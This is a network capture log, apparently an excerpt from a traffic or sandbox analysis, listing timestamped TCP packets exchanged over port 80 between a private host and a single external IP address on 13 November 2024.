Nov 13, 2024 10:52:53.437642097 CET	80	49986	94.158.244.69	192.168.2.6
Nov 13, 2024 10:52:53.437963009 CET	80	49986	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:01.908983946 CET	80	49986	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:01.909158945 CET	49986	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:02.030843019 CET	49986	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:02.035676956 CET	80	49986	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:02.683010101 CET	49988	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:02.687928915 CET	80	49988	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:02.688122988 CET	49988	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:02.688122988 CET	49988	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:02.688472986 CET	49988	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:02.692950010 CET	80	49988	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:02.693331957 CET	49988	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:02.693377018 CET	80	49988	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:02.693387032 CET	80	49988	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:02.693394899 CET	80	49988	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:02.693402052 CET	80	49988	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:02.693423986 CET	80	49988	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:02.693433046 CET	80	49988	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:02.693434000 CET	49988	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:02.693460941 CET	49988	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:02.693496943 CET	80	49988	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:02.693506002 CET	80	49988	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:02.693514109 CET	80	49988	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:02.698324919 CET	80	49988	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:02.698350906 CET	80	49988	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:02.698390961 CET	80	49988	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:02.698399067 CET	80	49988	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:02.698419094 CET	80	49988	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:02.698427916 CET	80	49988	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:02.745474100 CET	80	49988	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:11.168881893 CET	80	49988	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:11.639908075 CET	49989	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:11.644833088 CET	80	49989	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:11.644927979 CET	49989	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:11.645047903 CET	49989	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:11.645447016 CET	49989	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:11.649898052 CET	80	49989	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:11.650347948 CET	80	49989	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:20.128329039 CET	80	49989	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:20.128560066 CET	49989	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:20.128560066 CET	49989	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:20.133526087 CET	80	49989	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:20.833333969 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:20.838397026 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:20.838622093 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:20.838767052 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:20.839282036 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:20.843905926 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:20.843975067 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:20.844161987 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:20.844175100 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:20.844185114 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:20.844211102 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:20.844213009 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:20.844221115 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:20.844230890 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:20.844244957 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:20.844288111 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:20.844295025 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:20.844338894 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:20.844376087 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:20.844418049 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:20.848659039 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:20.848722935 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:20.848788023 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:20.848831892 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:20.848995924 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:20.849009037 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:20.849028111 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:20.849044085 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:20.849071026 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:20.849121094 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:20.849131107 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:20.849173069 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:20.849342108 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:20.849421024 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:20.901541948 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:20.901729107 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:20.949690104 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:20.949830055 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:20.998003960 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:20.998234987 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:21.045511007 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:21.045603037 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:21.097444057 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:21.097497940 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:21.145625114 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:21.145767927 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:21.193506956 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:21.193651915 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:21.241466045 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:21.241560936 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:21.293589115 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:21.293653965 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:21.341557980 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:21.341671944 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:21.393424988 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:21.393594027 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:21.445475101 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:21.445766926 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:21.497605085 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:21.497873068 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:21.545433044 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:21.547333956 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:21.597492933 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:21.597754002 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:21.645518064 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:21.645620108 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:21.693523884 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:21.693640947 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:21.745646000 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:21.745712042 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:21.793454885 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:21.794454098 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:21.845561028 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:21.847143888 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:21.897805929 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:21.898736954 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:21.945605993 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:21.946157932 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:21.993463993 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:21.994668007 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:22.045423985 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:22.047043085 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:22.093429089 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:22.094681978 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:22.145442963 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:22.145555019 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:22.193407059 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:22.193572998 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:22.245548010 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:22.246560097 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:22.293684006 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:22.293838024 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:22.345371008 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:22.347047091 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:22.397468090 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:22.397520065 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:22.445485115 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:22.445576906 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:22.493496895 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:22.493602991 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:22.541548967 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:22.541654110 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:22.589509964 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:22.589596987 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:22.641514063 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:22.641702890 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:22.689485073 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:22.689565897 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:22.737366915 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:22.737472057 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:22.785581112 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:22.785773039 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:22.833481073 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:22.833648920 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:22.881509066 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:22.881664991 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:22.929502010 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:22.929560900 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:22.977705002 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:22.977761030 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:23.025525093 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:23.025636911 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:23.073666096 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:23.073786974 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:23.121480942 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:23.121547937 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:23.169558048 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:23.169766903 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:23.217628956 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:23.217936039 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:23.265487909 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:23.265610933 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:23.313482046 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:23.313604116 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:23.361417055 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:23.361566067 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:23.409426928 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:23.409605026 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:23.461493015 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:23.461632013 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:23.513549089 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:23.513657093 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:23.561641932 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:23.561717033 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:23.615430117 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:23.615561962 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:23.661468983 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:23.661591053 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:23.709466934 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:23.709573030 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:23.757411957 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:23.757517099 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:23.809478998 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:23.809616089 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:23.861493111 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:23.861677885 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:23.909475088 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:23.909605980 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:23.961488008 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:23.961635113 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:24.009421110 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:24.009501934 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:24.057482958 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:24.057580948 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:24.105415106 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:24.105467081 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:24.153433084 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:24.153510094 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:24.201425076 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:24.201539040 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:24.253484964 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:24.253532887 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:24.303544998 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:24.303612947 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:24.349380970 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:24.349708080 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:24.397382975 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:24.397500038 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:24.445436954 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:24.445514917 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:24.493377924 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:24.493557930 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:24.541448116 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:24.541555882 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:24.593482971 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:24.593594074 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:24.641417980 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:24.641482115 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:24.693341970 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:24.693397999 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:24.741395950 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:24.741620064 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:24.789378881 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:24.789468050 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:24.837502956 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:24.837738037 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:24.885490894 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:24.885632038 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:24.933406115 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:24.933523893 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:24.981601954 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:24.981698990 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:25.033689022 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:25.033821106 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:25.083425999 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:25.083560944 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:25.133523941 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:25.133759022 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:25.185411930 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:25.185616016 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:25.237472057 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:25.237524986 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:25.287305117 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:25.287375927 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:25.333596945 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:25.333661079 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:25.383364916 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:25.383415937 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:25.435394049 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:25.435442924 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:25.483458042 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:25.483671904 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:25.531362057 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:25.531441927 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:25.583486080 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:25.583555937 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:25.629513025 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:25.629676104 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:25.681452036 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:25.681555033 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:25.729475021 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:25.729582071 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:25.777445078 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:25.777510881 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:25.825654030 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:25.825711966 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:25.877520084 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:25.877729893 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:25.925457954 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:25.925594091 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:25.973452091 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:25.973563910 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:26.023403883 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:26.023538113 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:26.069453001 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:26.069667101 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:26.123420000 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:26.123502970 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:26.171299934 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:26.171431065 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:26.217500925 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:26.217633963 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:26.265464067 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:26.265599012 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:26.314007044 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:26.314126015 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:26.361422062 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:26.361474037 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:26.409388065 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:26.409442902 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:26.457364082 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:26.457456112 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:26.509608984 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:26.510082006 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:26.557606936 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:26.557730913 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:26.605593920 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:26.605714083 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:26.657567978 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:26.657691956 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:26.709443092 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:26.709573030 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:26.757488966 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:26.757705927 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:26.805428982 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:26.805660009 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:26.853458881 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:26.853615999 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:26.901489973 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:26.901559114 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:26.949511051 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:26.949584007 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:26.997884989 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:26.997981071 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:27.045496941 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:27.045747042 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:27.093436003 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:27.093533039 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:27.145478010 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:27.145586967 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:27.197475910 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:27.197557926 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:27.245421886 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:27.245661020 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:27.294351101 CET	80	49990	94.158.244.69	192.168.2.6
Nov 13, 2024 10:53:27.294419050 CET	49990	80	192.168.2.6	94.158.244.69
Nov 13, 2024 10:53:27.341387033 CET	80	49990	94.158.244.69	192.168.2.6
